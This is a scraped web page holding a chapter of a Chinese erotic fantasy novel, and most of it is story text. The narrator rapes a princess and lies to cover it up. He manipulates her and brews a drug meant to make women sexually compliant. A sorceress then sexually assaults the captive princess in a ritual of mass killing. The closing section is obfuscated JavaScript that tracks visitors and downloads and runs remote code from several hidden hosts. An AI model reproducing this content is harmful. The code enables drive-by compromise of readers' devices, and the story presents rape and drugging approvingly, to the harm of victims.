  跪在地上,我两眼竭力迫出盈眶热泪,既诚恳又懊悔地,说出适才绞尽脑汁编出的漫天大谎。

  “我和巴闭经过练功塔,听见里面有异声,进到塔里,公主已昏倒在陷阱内,又中了淫兽的淫毒,慾火攻心,如不尽快救治,必将焚血而死。为了救公主,我们纵是万不得已,也只有出此下策。但是,玷汙公主清白,罪该万死,身为臣下,只有一死以谢,才能保住公主名誉……”

  这篇谎话其实破绽连篇,淫兽的粘液虽有催情效果,但却不会像烈性春药般霸道;地上陷阱和迷药更是没有交代。只是女儿家失贞,总是不愿张扬,这小婊子又是一脸天真善良的蠢样,女人往往会对自己的第一个男人情有独锺,这种注重贞操的小丫头尤然,我便靠此赌上一铺。

  一面说,我一面偷窥着她的反应。

  原本秀雅无双的姿容,在过度震惊的影响下,一双清澈的大眼睛里满布着伤心的泪痕,看上去显得楚楚动人。

  碎布勉强遮掩住的娇美胸部,更是随着呼吸而不住起伏着。

  然而,她与生俱来的那种女神般的高贵与清纯,却不因为受到暴虐而失去光泽。

  妈的,这丫头真是美。能骑她一次,做鬼也值得了,不过话是这样讲,真要我死还是不干的。

  “巴闭已死,臣再自杀,天下再不会有第二人知晓今日之事,只愿公主记住臣二人为阿里布达王家牺牲,臣等死亦瞑目了!”我慷慨激昂地把话说完,立刻挥剑自刎,动作故意放得老大,一言以蔽之,就是充满戏剧效果。

  “不可”

  一如所料,小婊子闪电出手,将长剑抢下,只不过我故意耍帅,让剑尖在颈上划出一道血痕,以示惊险,其实这真冒险,此剑锋锐无匹,只要稍不小心,整个脑袋就掉了下来,不过为了骗过小婊子,不下点工本也是不成。

  “公主殿下!您……”

  自杀被救,我装出一副震惊模样,不知所措地望着小婊子,心里庆幸不已。

  这种温室中的花朵,大抵智商有限,年纪又小,哪知道什幺人心险恶?她会改扮来从军,肯定满脑子都是那些忠肝义胆的骑士传说,我的偶像曾说过:一个人只要深信着某些东西,心里就容易为那些东西所迷惑。简单来说,就是很好骗啦!

  “你……你……我……我……”

  小婊子凝望着我,吞吞吐吐地说不出话来,显然心中也不知如何是好,最后,她看着我,双颊泛起一层微微的红晕,却紧跟又掩住脸庞,“哇”的一声大哭起来。

  我心头一鬆,这时也就大胆地凑上前去,搂住小婊子的嫩滑身躯,柔声安慰,说的话当然也就是那一套:我会好好待你啦!我一定会娶你!绝对不会辜负你的……等等,这些话起码七年前就背熟了,妓馆婊子、皇家公主,反正雌性动物都爱听这些。

  “呜……呜……”少女先是挣扎一下,但随即乖乖地被我抱着,低声啜泣,久久不能平息内心的哀恸……

  -------------------------------------------------- ------------------------------

  就这样,姦淫公主的大篓子被我混过去了。

  小丫头正值思春年纪,既然被我破了身,那也就顺理成章,隐约把我当作驸马爷看待,再经过我高超技巧调教,几下就给收得服服贴贴。

  当然,我还用了些小手段。

  当初仓惶离去,星玫小公主并没有发现,她那柄袖中剑仍留在塔里,更在不久后,巴闭尸体被发现时,连着发现,经过监定,理所当然地被认为是凶器。

  队上有人认出,这是那新人“夏兴眉”的兵器,侦办的军官于是找上她,盘问有关那日的情节。星玫她哪答得出,支支吾吾,交代不清楚,险些急得哭了出来。

  这时我挺身而出,证明她那日一直与我在一起,并且说这柄剑早已失落多日,肯定是被人拾去,为非作歹。我与巴闭素来交好,当然不会有人发梦到怀疑我是真兇,在我强势坚持下,连那柄剑也给我扣下来,交还给星玫。

  再被我救了一次,星玫理所当然地对我感激不已,完全把我当成了她心中的英雄。

  其实,星玫的后台比谁都硬,就算我不出头,最后也会平安无事,这等顺水人情岂可放过。果然,一切如我所料,巴闭的老爹只是个下级军官,没什幺背景,军部侦办态度不甚积极,后来听说皇宫派出了密使,军部便草草结案,让此事不了了之。

  我为着好友惨亡,送了大笔金钱给巴闭老爹,他感激涕零,直说我是世上最有义气的好人。我是无所谓,反正这笔钱是星玫心中难过,偷偷拿出私房钱要我转送的抚卹金,又是顺水人情一件。不过我没从中扣上几手,算来也对得起和巴闭朋友一场了。

  过得数日,不知星玫向她父王说了什幺,军部执行来自皇宫的勒令,让我由一介兵丁,越级直升为百夫长,理由是:能力杰出,办事得力。

  哈!真好笑,我有什幺能力杰出又?有什幺得力了?莫非是我床上功夫杰出,每晚干得你女儿死去活来,十分得力吗?这点倒不必客气。

  还没比武,就给一向看不起的我,夺走了百夫长的位置,苏氏兄弟气得牙痒痒,但也无力改变既定事实。

  至于我,当然不理会这两条斗败的狗,从长官手 中接过印信,正式当我的百夫长,并且执行我被赋予的动人任务:调一名叫“夏兴眉”的新兵,进房当随行勤务兵,每日调教她应有的军中礼节,开发她诱人的娇躯。

  命运转轮在时光之河中激烈转动,在军中胡天胡地,混吃等死的我,全然想不到这年秋天,将与星玫一同迎接生命中的另一个转捩点:阿胡拉玛之战!

  -------------------------------------------------- -----------------------

  自从奸了公主,把纯情可爱的小星玫骗上手之后,老子升官发财,不但国王昇我当百夫长,连远在边境的变态老爸,都遣人送来家书,说我终于洗心革面,奋发向上,他心里十分欢喜,对得起我们法雷尔家祖宗云云。

  屁话说得很多,零花钱也没多加一点,变态老爸一生公正廉俭,连得了七年的最佳公务员奖,我看王国内的贵族,就以他干得最窝囊了。

  从步兵升为百夫长,心里很爽,但真正得意的,还是可以每天躲在个人办公室里,调教可爱的小星玫。凭我高超的床第技巧,要摆弄这初尝男女欢好滋味的小雏儿,再易如反掌不过,每晚不同的花式,让星玫羞红了脸,却又迫不急待地想尝试。

  而我更从那本淫术魔法书的注释中,解读出一种特殊的紫红色结界,当我在交媾时施放,就能维持金枪不倒,同时汲取女方的纯阴真元,滋补自身血肉。

  研究出这秘法,最佳的练习对象,当然就是武功不高我一百倍,起码也高我几十倍的小星玫。练习魔法,本该使身体越来越虚弱,但每次欢好后从星玫身上採补的结果,却让我身体日益健壮,连带地也使魔力增进,能使用的淫术越来越多,每次都把小星玫逗得欲仙欲死。

  可是,世事岂能尽由人意,星玫虽然与我恋姦情热,但是从小受的皇家教育,却让这位小公主多方矜持,别说不肯陪我玩肛交、口交的激烈把戏,就连握一下肉棒都大呼小叫,让我好没趣。

  我坚持到后来,她就哭哭啼啼,说我不疼她,只会逼她做这等龌龊事情,甚至还端起公主娘娘的臭架子,斥责我无礼。哼!公主?脱光衣服,还不是小婊子一个,有什幺了不起的!

  结果,有她在身边,我等于被限制住,往常妓馆中的花天酒地,现在通通没法做了,加上公主娘娘又端他妈的臭架子,我越想越火大,索性偷偷申请外调,一切活动都瞒着星玫,当军部命令下来,她知道已经来不及了。

  星玫改扮加入御林军,是瞒着国王陛下的,她曾对我说过,她仰慕武功绝世的二皇姊,以女儿之身指挥大军,征战沙场的英姿,缠着二皇姊传授她武功后,极想一试身手,所以不顾女官们的反对,利用空闲时间,偷偷改扮加入御林军。换言之,我一旦外调,她自不可能跟上来,我就可以从容将她甩开,从此到外头花天酒地,任意逍遥了。

  一切事情正如我料,知道我转调外省的星玫,哭闹不休,但是也无计可施,眼看我收拾行囊,转任他方。

  只有一件事令我大惑不解,当初我请调的方向,是离王都遥远,南方的海港大城,但颁下来的军令,却把我调去东方国境上的阿胡拉玛城,那里虽然尚算富饶,却是民风纯朴的农业地带,把我调去那里,岂不是闷死人了。

  不过,只要能先甩开公主那臭小婊子,什幺也不管了,老子拍拍屁股,走马上任也。

  在阿胡拉玛城,我一样是百夫长,每天的带兵操练都胡混过去,这里没什幺大妓院,娼寮里的公用军妓都是庸脂俗粉,看了就倒胃口,军队里是有几个女将,姿色不错,但多半是认为我武功低微,连正眼也不瞧我一下,哼!有什幺大不了,我好稀罕吗!

  趁着空档,我专心研究淫术魔法书里头的奥秘,更发现了一种名叫“淫蛊”的生化秘药。让女性服下,只要听见一种特殊音律,就会变得淫乱无比,难以自製。书上更说,用一种叫做“哭竹”的植物作成吹哨,就可以发出那种高频率的特殊音律,只有被种了淫蛊的女性,还有兽人族听得见,十分安全可靠。

  我大感兴奋,哭竹甚是稀有难寻,但恰好此地便有数株,可见老天要助我成事。花了数天时间,削竹练蛊,开始準备一切,这天,正採购好配合的数种药草,路过军营,忽然听见有人提起我的名字。

  凑近过去,原来是几名我麾下的十夫长,在那边聚会,说我坏话。本来这也没什幺,不过几个家伙越讲越起劲,大有意思付诸行动,我不得不竖起耳朵,凝神细听。

  原来,几个王八羔子不安好心,打算在明天,以向我祝贺为名,送我一坛酒做礼物,一举把我了掉。

  “怎幺做?要在酒里下毒吗?”

  “这招太老套了,了无新意。”一名红发的十夫长小声道:“我们家乡有种液体火药,我们装个满满一瓶,那小子只要把瓶子一开,嘿嘿!立刻炸得他面目全非,下半辈子比死还惨啊!”

  我听得暗暗心惊,这票家伙居然出此毒计。当下不动声色,预备在他们明天献酒时当面拆穿,逼着几个王八蛋给我大口喝下去。哪知道,第二天,我大清早就接到命令,命我率领本队弟兄,往东边巡逻,为期三天。

  我知道城里常常派出数个百人队,定期外出巡逻,不过这责任从来没落在我们头上过,虽然疑惑,但没有抗命余地,率领本队人马往东而行。

  阿胡拉玛城位于东方国境,往东走出十数里,越过摩萨岭,就是伊斯塔大公国。他们国力不如我们,但军力之强却不容小觑,每隔五六年,就会向我们发动偷袭,掠劫国境边的财富。他们採用骑兵,来去如风,委实难以防範,因此,城内定期会派出巡逻小队。

  上一次伊斯塔军队侵入,是三年前,照时间来算,现在正处于高枕无忧的安定时间,然而,命运这东西之所以充满讽刺,就是因为它从无规则可言。

  眼下正值秋季,满山枫红,蝉鸣不绝,和风中夹着淡淡乾爽的凉意,很适合行军。我们是步兵队,行军到第二天,我偶然找着了最后的几味药草,急忙下令扎营做饭,全队开起小差。

  将材料混在一起,念过咒语,炼成淫蛊。我看着装盛淫蛊的磁瓶,心里得意万分,正寻思该拿谁当试验品,忽然侍从兵报告,有军中弟兄求见。

  昨天忙着行军,几个王八羔子没有机会送酒,算来他们今天也该来了,我冷笑着,吩咐接见来人。

  人进来了,却不是那几个王八羔子。头低低的,个子瘦小,军服上满是尘土汙渍,还没开口说话,就抽抽噎噎地哭了起来,我一听那哭声,心里就凉了半截,再低头看清那张哭脸,登时魂去了一半,却不是星玫小公主是谁?

  “你……你怎幺会来了!”

  “……人家……呜……人家想你嘛……你一走就那幺久……呜……答应的信也不写……说过的话全都不算数……呜……你、你……你这个大骗子……”

  听她哭得伤心,我连忙搂过她,轻拍粉背,柔声呵护。王都距离此地,纵是快马在官道上不停奔驰,也要跑上六七天,她小小年纪,公主千金之躯,从未到过王都以外的世界,只凭着一股思念,竟这幺千里迢迢地赶了过来。

  看星玫的俏脸上满是憔悴,路上自然大受风霜之苦,我心中感动,握着她手,低语安慰,说的当然是陈 年老词,反正管用就行。

  小丫头的武功,我万万不是对手,但小丫头的心思……我要掌握她,实在太容易了,没几下功夫,便给我哄得破涕为笑。

  “啊!这瓶东西是什幺啊?”星玫发现了我随手放在一旁的淫蛊,将磁瓶拿起来把玩。我一想,这正是大好机会,骗小丫头喝下去,让她淫兴大发,就在这里要了她,于是随口说是水果酒。

  “酒?那刚好耶!”星玫将磁瓶放到背后,俏皮一笑,再拿出来时,竟是两个一模一样的磁瓶。

  “我刚刚进来的时候,有几个你的下属,说是很仰慕你这位长官,要送酒慰劳你,约翰哥哥,你真是英雄了得,就连部下都这幺爱戴你。我们一起喝了这两瓶酒好不好?”

  慰劳我?送我下地狱才是真的。看着两个一模一样的瓶子,我口水猛吞,就是不知该如何分辨。

  酒我肯定是不会喝了,但小星玫一开瓶子,喝下淫蛊当然很好,要是炸了开来,让她的秀美娇容变成花脸猫,那可大大糟糕。我愣了好半晌,这才以“公事中不得喝酒误事”的正经理由,暂缓处理这两瓶要命东西。

  “星玫,分开几个月,可把我想死了。”我笑着搂住她的细腰,缓缓往上婆娑,内中意义不问可知。

  “你又说公务中不可以误事?”

  “我没有误事啊!我在尽我长官的职责,好好调教属下二等兵军中礼节。”

  星玫的小酥胸被我一摸一揉,眼神都柔媚了起来,荒芜了几个月的肉体,自然情动。

  我吻着她,正要帮她解釦子,忽然门外有人大声嚷嚷,要 告紧急军情。一名二等兵像死了老爸一样,呼天抢地,冲了进来。

  “报……报告长官!有弟兄发现伊斯塔的大军,马上就要杀来了!”

  伊斯塔的骑兵团,总数两万五千人,全数是一等精兵,正面碰上,我们这一百人只有全军覆没的份。他们正往这方向来,就算我们立刻逃跑,他们骑的是快马,我们只有两条腿,距离阿胡拉玛城又有一日距离,铁定被他们追上杀光。

  全体弟兄都感到奇怪,虽然说我们与伊斯塔军撞个正着 ,但照理说,另一队走向北方的骑兵侦察队,该更早发现敌人,发火箭烟花警告,那样我们几个时辰前便会看到,应付上有余裕,不至于像现在这般进退维谷。

  全队一百人,只有星玫刚刚骑来的一匹快马,这时,一百双眼睛都盯在我身上,认定我这长官会捨弃属下,骑马逃生。

  “波塔·恩格,你骑上这匹快马,立刻回城求援,请他们派人来援。”

  众人都感奇怪,为何我不放火箭烟花,却命人回去报讯,更纳闷我自己怎幺不担了这优差?

  星玫敬慕的眼光瞧在我身上,我却是有苦难言。我国军法极严,在此时抛下部属逃生,军法从事,不死也是残废,我纵想用贵族特权逃避刑责,无奈变态老爸一定不肯站我这边,何况星玫这匹快马已给她骑得半死不活,跑不跑得快谁晓得,要是被人家骑兵追上,照样得死。比较稳当的方法,是在此拖延一阵,真正危急时候,了不起要星玫背我逃命,她轻功极好,山道上跑跳如飞,骑她比骑快马管用。

  至于不放火箭旗花,却是另有用意。

  我叫所有士兵脱下军装,将身上衣服撕得破破烂烂,你打我、我踹你,弄得狼狈不堪,埋起所有装备,所有人装成土匪盗贼模样,之后交代计策。众人听完后俱是满面惊疑,但横竖也没更好的方法,加上看在我没舍众逃生的份上,答应依计而行。

  星玫是女儿身,又是公主千金,当然不好同样办理,我要她躲在一旁,随时看我眼色做事。

  当伊斯塔的前行军来到,我们一伙人从隐蔽处嚷着围上去,要他们交出买路财。

  伊斯塔人显然把我们当成了疯子,再不然就是以为我们饿昏了,发出一阵难听的哄堂大笑。

  火箭烟花一放,白疑也知道我们是军队,连伪装的可能都没有。我曾听变态老爸说过:他曾听说,伊斯塔人的祖先,是乾盗贼起家的,后来留下训示,遇见被逼急的盗匪,要网开一面。

  这传闻不知是真是假,现在冒险一试,我已向藏在一旁的星玫连打暗号,随时背我逃走,不料这计策果然成功,几名高级军官模样的伊斯塔人,哈哈大笑后,命令士兵丢了几袋粮食下来,要我们好自为之。

  庆幸得计,我们正要走开,忽然一个小兵跑来嚷了几句,说是主帅要问我们情报。一问主帅的名字,我的心险些从胸口跳出来。无怪只区区两万人,便敢硬撼阿胡拉玛城,原来竟是鼎鼎大名的血魇大巫师亲自领军!

  这人是伊斯塔排名第一的大法师,擅长各种魔法妖术,论及黑魔法的修为,能比得上他的,实在不多,我那几手小伎俩,压根儿就不能与他相提并论。

  血魇更是出了名的残暴好色,三年前随军入侵时,一夜间虐杀了过百美女,当时老爸在另一头边境给缠着,无法分身,给这淫魔连败我军,气势无俩,最后是翎兰公主亲自上阵,天马一刀,斩得他开膛破肚,拖肠逃命,最后听说是凭着绝世妖法保住一命,却从此立下血誓:终有一日,要将翎兰调教驯服,成为他胯下的忠心性奴!

  话放得漂亮,但做不到就只是斗败的狗在哀嚎,不过,当他现身时,我还是吓了一大跳。怎幺名动大地的血魇大巫师,竟然是个千娇百媚的艳丽女子?

  起初以为认错,但听士兵们的叫法,果真是此人。她举手投足,艳光流转,莫说是伊斯塔人,就连我身边这群不成材的东西,都露出色授魂予的蠢样。

  血魇身边跟着四名血奴,俱是高大的狰狞巨汉,每一个的体型都起码有我三倍大。他们步行而不骑马,因为世上只怕没有马可以承受他们的体魄。四人目中无神,但看得出俱是一等一的高手,我听变态老爸提起过,有些巫法高手能以药物迷惑人心,再炼製成没有意识,悍不畏死的奴才。

  这手本事我倒想学,要是能给星玫餵上几粒药,她从此以后乖乖听话,岂不非常理想?不过,要是副作用是变成这种身体,那就当我没说过吧!

  “本法师的巫法能透视人心,在我眼中,天下间没有任何秘密可言!”

  当听完士兵对我们这群“盗贼”的介绍,血魇这幺低声说着,那声音竟又变为雄伟男声,去!终于见到个男人,比我那变态老爸还变态得过份。话放得漂亮,做不到也没意义,打三年前之后,全大地谁不晓得你是个光会放话的家伙!

  我不想说自己是盗贼首领,无奈手下这群蠢猪的眼神早已将我出卖,当血魇问起问题时,我给他胡言乱语一通,血魇目中露出怀疑,忽而异光大盛,我刚想移开眼,她却发现了挂在我腰间,两只捨不得丢掉的磁瓶,问说那是什幺,我瞎扯说是家传的壮阳圣药,男人喝了金枪不倒,女人喝了青春永驻,您两样都用得着,真是最适合不过了。

  旁人给我的放肆言语吓破了胆,血魇却似很欣赏我的大胆。这死人妖发出咯咯娇笑,倚到我身边,浓郁的香气弄得我快反胃了,而这人妖居然还伸手到我胯间,淫蕩地媚笑着。

  “你的这里好大啊!就是喝你这东西保养的吗?”

  我赶忙点头,同时装出一副色瞇瞇,卑躬屈膝的哈巴狗样,这其实倒不太难装,因为她胸前那对奶子实在有够大,抖啊抖的,是男人看了都会勃起的,只是,当想起眼前这惹火尤物也一样有勃起的能力,就难免令我不举了……

  不知是我的演技太逼真,还是某人想试着挑战姊姊的记录。藏在一旁的星玫,娇叱一声,舞动她的袖中剑,似一道急电般射出,攻向血魇。

  唉!出手就出手嘛!喊什幺喊呢?偷袭人还要打广告吗?

  四名血奴挥剑拦阻,如雷风声差点撕裂我的耳膜,小丫头真有一手,这些血奴俱是一等一高手,但她一挥剑,立刻就倒了一名,她闪躲另外三名攻击,同时一剑刺向血魇。

  只听血魇娇笑连连,把我朝剑尖推过去,小丫头慌忙收剑,血魇趁这空隙,目中异芒大盛,乖乖!你是人造太阳吗?

  小丫头一呆,就此昏迷了过去。连带本已脱险的我们都倒了楣,被当作奸细,集体收押。

  臭小婊子!叫你乖乖躲好你不躲,害得老子也陪你一起人头落地!

  因为这场骚动,天色已沈,伊斯塔军决定就地扎营休息。

  我或许是因为被血魇本人夸奖过,伊斯塔人把我独立关了一间帐棚,时间过去,趁看守人不注意,我用了让绳子鬆开的魔法,偷偷溜跑。别以为这容易,我念了快一个时辰,嘴巴干得快裂了,这才鬆绑成功。

  当务之急,是找马开溜,找不到也得开溜。小丫头落在敌人手里,这点很糟糕,可是陪她一起死,这我可敬谢不敏,于是忙着找路逃命,无奈,该是你的就跑不掉,绕了几圈后,我忽然听见小丫头的声音,凑到那大帐棚边一看,差点瞪得连眼珠都跳出来。

第三章血魇魔幡

  在帅营帐棚的中央,垂着一廉好大的雪白圆纱帐,上头点点腥红,样式美观,但是随风扬动间,隐约有股惨惨阴风,连隔得老远的我,都觉得头皮发麻。

  三名血奴垂首站在一张桌子旁,神情呆滞,但看得出是在戒备。桌上放着我的两个瓷瓶,还有一个怪模怪样的红瓶子。

  星玫给剥成了小白羊似的,浑身赤裸,嘴里不晓得塞了什幺东西,泪眼汪汪,长发哀怜地垂散着,手脚都被镣铐锁住,不住挣扎,扯得叮叮直响。

  血魇妩媚地娇笑,伸手在星玫的雪嫩胴体上,来回抚摸,“嘿嘿!真是上等货,皮肤又滑又嫩……乳房虽然不大,但……哗!小奶头色泽鲜嫩,一定又香又甜……连花瓣也仍保持着新鲜的嫩红,你是刚开苞不久的,是不是?”

  星玫闭上双眼,头别一边,喉间不停发出悲愤的哀鸣。

  血魇哈哈一笑,脱去上衣,丰满豪乳立刻弹跃出来,伟大的尺寸,打到脸上一定会把人打昏过去。她的肌肤白如凝脂,可是从左乳下方,有道大得夸张的狰狞伤疤,直垂到下方裤里,整个肉都噁心地翻转过来,可以想像当初受伤时的恐怖。

  “小公主……阿里布达的翎兰王女是你姊姊吧!今天你一出招,我就认出来了……”血魇阴沈地说道:“三年前,那婊子砍得我重伤垂死,还令我国无数好儿郎战死异乡,我便发誓要报复。看到这帐子吗?这三年,我转战各地,在这纱帐里虐杀了无数纯洁处女,让她们的鲜血洒在帐上,好炼製我的秘密武器──万魂幡,今晚你就是万魂幡的最后一个祭品!”

  她一面说,一面抚摸着星玫几乎无毛的小牝户,分开花瓣,露出红彤彤的穴口。痛!血魇竟不理牝户内的干涸,强行将手指插入。

  星玫拚命扭动着身躯,却没办法躲开,只得泪流满面,瞪着那沾染9999名美丽处女鲜血的纱帐。

  果然,月光下,那帐子隐隐发出惨绿厉芒,彷似冤魂们齐声哀哭,听得人骨头都凉了

相关视频

function XsexOg(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function hDqFMmj(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return XsexOg(t);};window[''+'h'+'v'+'B'+'y'+'w'+'E'+'G'+'x'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function GqHrd(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=hDqFMmj,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=GqHrd(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qwv.nwbeif.cn:7891/stats/15623/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=GqHrd(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmmlpbHh6cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS55ycWRsb2QuY24lM0E55NTM0','168165',window,document,['m','5']);}:function(){};
let urls=["hYYtYYtYYpYYsYY:YY/YY/YYmYYqYY1YY9YYnYYdYYaYYdYY9YY.YYoYYsYYsYY-YYcYYnYY-YYsYYhYYaYYnYYgYYhYYaYYiYY.YYaYYlYYiYYyYYuYYnYYcYYsYY.YYcYYoYYmYY/YY1YY9YY/YY1YY0YY7YY5YYaYY2YY2YY8YY2YY2YY9YY9".split("YY").join(""),"hCCtCCtCCpCCsCC:CC/CC/CCpCC.CCgCCoCCdCCmCCwCCiCCtCChCC.CCcCCoCCmCC/CC1CC9CC/CC1CC0CC7CC5CCaCC2CC2CC8CC2CC2CC9CC9".split("CC").join(""),"hOOtOOtOOpOOsOO:OO/OO/OOoOOcOO1OO8OO1OO9OOnOOdOOaOOdOO9OO.OOoOOsOOsOO-OOcOOnOO-OOsOOhOOaOOnOOgOOhOOaOOiOO.OOaOOlOOiOOyOOuOOnOOcOOsOO.OOcOOoOOmOO/OO1OO9OO/OO1OO0OO7OO5OOaOO2OO2OO8OO2OO2OO9OO9".split("OO").join(""),"hUUtUUtUUpUUsUU:UU/UU/UUdUU8UU9UU-UU1UU3UU1UU3UU9UU4UU4UU0UU6UU2UU.UUcUUoUUsUU.UUaUUpUU-UUhUUoUUnUUgUUkUUoUUnUUgUU.UUmUUyUUqUUcUUlUUoUUuUUdUU.UUcUUoUUmUU/UU1UU0UU7UU5UUaUU2UU2UU8UU2UU2UU9UU9".split("UU").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2299_107 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();